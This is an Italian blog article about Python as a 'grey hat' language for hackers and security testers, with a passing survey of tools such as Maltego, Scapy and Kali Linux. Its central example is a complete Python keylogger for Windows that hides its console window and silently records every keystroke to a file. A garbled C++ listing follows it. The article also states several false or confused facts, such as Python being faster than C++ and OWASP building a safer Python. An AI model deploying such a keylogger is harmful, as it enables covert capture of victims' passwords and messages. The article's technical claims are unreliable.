Grey Hat Python - Quindi, due anni fa, facendo ricerche sui linguaggi di programmazione, ho iniziato a leggere su C, C ++, Assembly, Python e Ruby. Volevo diventare un esperto di sicurezza informatica. Quindi, ho iniziato ad imparare il più possibile. Iniziato con C, C ++ e C # come base, e dopo aver appreso e compilato molti programmi e virus, ho finalmente iniziato a studiare Kali Linux. Per coloro che non sanno cosa sia Kali Linux, è un sistema operativo per i test di penetrazione. Quindi, stavo proseguendo con i miei studi e quello che ho visto è che la maggior parte dei programmi, virus e trojan sono stati compilati in Python e la loro base era Ruby.

Quindi, per il momento, ho interrotto i miei studi e ho iniziato a studiare Python o, per essere precisi, Grey Hat Python e tadaa … È stato estremamente facile rispetto a C, C # o qualsiasi altra lingua che ho imparato. Alla fine ho scoperto perché Python era la lingua più utilizzata e come è diventata famosa.
Quindi, oggi discuterei di come Python si è trasformato in Grey Hat Python e del perché è così ampiamente utilizzato, che persino Google e YouTube lo usano nel loro database per fornire risultati di ricerca più accurati possibile.

A partire da Python è un linguaggio di programmazione di alto livello, il che significa che le sue sintassi sono estremamente facili da leggere, anche per i principianti. Se non conosci la programmazione, questo sarebbe il linguaggio con cui ti suggerirei di iniziare. Lasciate che vi faccia un esempio:

Ecco come appare in C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Ecco come appare in Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


Ed ecco come appare in Python (v2.7)

print "Hello World"

Semplice? Sì. Quindi, Python non era solo facile da scrivere e capire, ma anche molto compatto. Quindi, potresti chiederti come ha portato a Gray Hat Python?

Corsi consigliati

  • Formazione sul routing IP
  • Corso di formazione di hacking
  • Formazione RMAN completa
  • Formazione sulla programmazione Python

Python vs Grey Hat Python

Quindi, cos'è esattamente Gray Hat Python? Perché è così diverso dal nostro normale Python? Il fatto è che Gray Hat Python non è altro che programmi scritti in Python da hacker, tester di stress di rete e ingegneri inversi per creare o decifrare un programma. Ma il termine Grey Hat viene utilizzato perché non è esattamente un software utile o utente. È utilizzato per proteggere o creare un software che viola la sicurezza.

Può essere facilmente utilizzato per testare i limiti di un ambiente sicuro o per irrompere in un ambiente sicuro. Questo è ciò che significa cappello grigio. Ed è molto più facile farlo in Python piuttosto che farlo in C, C ++ o Java. Da qui il nome Grey Hat Python. Alcuni esempi a cui riesco a pensare sono:

• Scrivere keylogger (per hacker e pentester)
• Scrittura di script Shell di sicurezza (per amministratori di rete)
• Scrittura di un IDS automatizzato (Intrusion Detection System for Security Engineers)

Quindi, ora sai perché e come Gray Hat Python è utile. Per elaborarlo, lascia che ti dia alcuni esempi dettagliati.
Potresti aver sentito parlare di Google App Engine. Google App Engine è stato originariamente progettato in Python prima di essere trasferito. Google App è un esempio corretto di un programma scritto in Python, poiché consente di creare applicazioni Web utilizzando la sua ricca raccolta di fascia alta di librerie, strumenti e framework.

Ti sei mai chiesto perché è così facile cercare qualcosa su Google? Il più delle volte si ottengono risultati di ricerca accurati all'80%. Questo perché Python è estremamente flessibile, funziona ad alta velocità e i database sono molto più compatti sebbene memorizzino un numero n di informazioni. Python è così estensibile che anche YouTube lo utilizza per scopi come la visualizzazione di video, il controllo di modelli, l'amministrazione di video, l'accesso a dati canonici e molti altri.

Google ha i suoi crawler e spider che raccolgono dati non appena vengono caricati sul Web, indipendentemente da dove o quanto siano sicuri. Uno ha solo bisogno di una corretta ispirazione, tempo e conoscenza per raccogliere queste informazioni.

Le ricerche di Google si basavano in precedenza su Python, che in seguito è stato modificato in C ++ per l'ottimizzazione della velocità poiché i crawler di Google eseguono la scansione di molte pagine al secondo e ciascuna di esse impiega pochi minuti per eseguire correttamente la scansione. Python, al momento, è molto più veloce del C ++, ma non è stato lo stesso caso qualche decennio fa.

C'era una famosa citazione citata da Google: -
"Python dove possiamo, C ++ dove dobbiamo."

Quindi, ti starai chiedendo come può essere usato per l'hacking, il pentesting e la sicurezza della rete. Mi permetto di dissentire. Se potessi creare un programma con un'accuratezza del 70% -80% nel fornire risultati di ricerca efficienti, puoi probabilmente creare un'applicazione in grado di connettere siti Web, cercare in modo intelligente e creare un profilo di una persona che può piuttosto essere utilizzata dai singoli cappelli neri per scopi maliziosi. Lascia da parte gli individui, uno se abbastanza intelligente, può facilmente creare un'applicazione per costruire un profilo di un'azienda, il suo intero albero dalla radice a qualsiasi cosa tu possa pensare …

Raccolta di informazioni via Maltego

Potresti pensare che sto esagerando un po '. No, NON lo sono!

Pensa ad esempi come Maltego. Maltego è un software o posso meglio riformularlo come applicazione forense open source, creata allo scopo di raccogliere informazioni e creare profili di persone, società e altre agenzie aziendali.

È sufficiente inserire i dati corretti nell'app e altre cose come collegare e-mail, persone, gruppi di persone, persino determinare infrastrutture Internet come domini, nomi DNS, Netblock e indirizzi IP possono essere collegate e interconnesse usando questa intelligenza open source .

Per maggiori informazioni visita per sapere Cos'è Maltego?

Quindi, se l'accesso alle "Informazioni segrete" determina il tuo successo, allora Maltego può aiutarti a scoprirlo. Maltego è parzialmente scritto in Python e usa anche Java, che è di nuovo un ottimo linguaggio.

Tanto da citare sulla sicurezza di Google. Per essere più precisi, Google è il modo in cui puoi mantenerti anonimo sul Web, indipendentemente dal fatto che tu utilizzi incognito o www.duckduckgo.com di Chrome. Perché, alla fine, tutto è aggiornato sul web. Il punto è che non si tratta di invulnerabilità, ma di essere assolutamente vulnerabili. Non si può cancellare completamente se stessi da Internet. Ma si può sicuramente provare a mantenere il minor numero possibile di informazioni sul Web.

Python non è solo un linguaggio, è un linguaggio di scripting. I linguaggi di scripting ti consentono di scrivere, modificare i tuoi strumenti, quando hai bisogno di qualcosa di più personalizzato. Questi strumenti di sicurezza della rete dipendono fortemente dal linguaggio di scripting per l'estensibilità. Ad esempio, prendiamo Scapy.

Scapy è puramente scritto in Python. È un potente strumento di manipolazione di pacchetti interattivi. Può generare pacchetti falsi da solo, scansionare le reti e persino sniffare i pacchetti sulla rete.

Trova informazioni dettagliate su Cos'è Scapy?

Ora questi sono programmi complessi scritti da programmatori avanzati. Vediamo quanto è semplice scrivere un programma in Python che può essere facilmente compreso da persone che hanno delle buone basi di programmazione.

Questo è un keylogger scritto in Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Quindi, questo è molto più che semplice se me lo chiedi. Ho appena aggiunto i moduli pyhook, Pythoncom, win32gui e win32console che puoi facilmente scaricare dal sito Web sourceforge e ho citato i commenti usando il tag hash. Ma se devo scrivere lo stesso programma in C ++, vediamo quanto può essere difficile.

Questo è un programma scritto in C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Quindi, questo è piuttosto grande rispetto a Python. E se parliamo di efficienza, allora Python può essere facilmente compilato in un eseguibile senza alcuno sforzo usando il software py2exe. Mentre se parlo di C ++, francamente parlando, questo codice è uno scherzo. Per scrivere un key logger adeguato, è necessario scrivere una DLL che implementa l'hook WH_KEYBOARD. Inoltre, questo codice è ben lungi dall'essere facile da capire per un principiante.

Hacking open source

Ora questo si occupa degli hacker di Black Hat, che per essere più precisi sono le persone che intendono distruggere, manipolare i dati per le proprie esigenze. Parlando dal punto di vista della sicurezza, Python è utile anche per gli hacker di White Hat che intendono salvare la società dall'attacco di hacker malintenzionati. Se vuoi sviluppare una carriera o almeno vuoi imparare Python per la ricerca sulla sicurezza, allora puoi sicuramente approfondire con OWASP, BRO o Quick NIX Secure Script.

OWASP è Open Web Application Security Project. OWASP mira a creare una versione più sicura di Python che renda più facile per i professionisti della sicurezza e gli sviluppatori scrivere software meno incline all'attacco degli hacker. È correlato all'analisi Black-Box, identificando e affrontando i problemi relativi alla sicurezza che possono influire sull'interprete interattivo di Python.

BRO è un programma di monitoraggio della sicurezza e del traffico di rete mentre Quick NIX viene utilizzato per rafforzare e proteggere al volo le proprietà dei file.

Dal momento che stiamo parlando di sicurezza, parliamo di un sistema operativo che è parzialmente basato su Python. Python funziona alla grande con UNIX, LINUX e Debian. Uno dei sistemi operativi più famosi era Backtrack 5. Sono state rilasciate diverse versioni. È stato appositamente progettato per PenTesting. In seguito le persone di Offensive Security pensarono che Backtrack avesse bisogno di un riavvio perché la maggior parte degli strumenti non funzionava correttamente o non era supportata.

Più tardi, hanno rilasciato Kali Linux che era totalmente basato su Debian. E la maggior parte del suo framework è in Ruby o Python. Anche Ruby è un linguaggio di scripting fantastico. Ma preferirei in qualsiasi momento Python a quello, la ragione per cui Python ha una comunità più diversificata con Linux ed è più diretta e facile da eseguire il debug. Mentre Ruby ha molte funzionalità ed è veloce da adattare al suo ambiente circostante, può essere difficile da eseguire il debug, difficile da leggere ed è più sofisticato di Python.

L'esempio migliore sarebbe come confrontare Apple vs Linux o confrontare iPhone vs Android. Apple è ricca di risorse ed è estremamente fluida, ed è più parziale nei confronti dei principianti. Considerando che Linux / Android è più user-friendly, un po 'lento e può essere un mal di testa a volte se non sai come configurarlo o mantenerlo.

C'è anche un libro basato su Hacking Python Grey Hat di Justin Seitz. Si occupa in particolare dell'automazione del noioso reverse engineering e delle attività relative alla sicurezza, progettando il proprio debugger, l'iniezione di librerie e DLL, sniffando il traffico sicuro su una sessione crittografata e usando il debugger Immunity, Sulley e molti altri. È un libro fantastico, non importa se sei un principiante o un esperto, imparerai sempre qualcosa o l'altra ogni volta che lo leggi.

Conclusione

Quindi, se sei un principiante, Python sarebbe la scelta giusta per iniziare come primo linguaggio di test di sicurezza per la programmazione.

Ricorda solo una cosa alla fine Gray Hat Python non è solo una lingua, è un modo per fare le cose in modo corretto e veloce.

Prima fonte di immagine: pixabay.com

Articoli Correlati:-

Ecco alcuni articoli che ti aiuteranno a ottenere maggiori dettagli su Grey Hat Python, quindi passa attraverso il link.

  1. Vantaggi degli strumenti di sicurezza informatica È necessario essere consapevoli
  2. Carriere in Python
  3. Le 25 migliori domande e risposte sull'intervista a Python
  4. Quali sono i vantaggi e i limiti dell'utilizzo di Python?
  5. Python vs Node.js
  6. Guida alle domande di intervista sulla sicurezza informatica
  7. Diversi tipi di strumenti per i test di sicurezza

Categoria: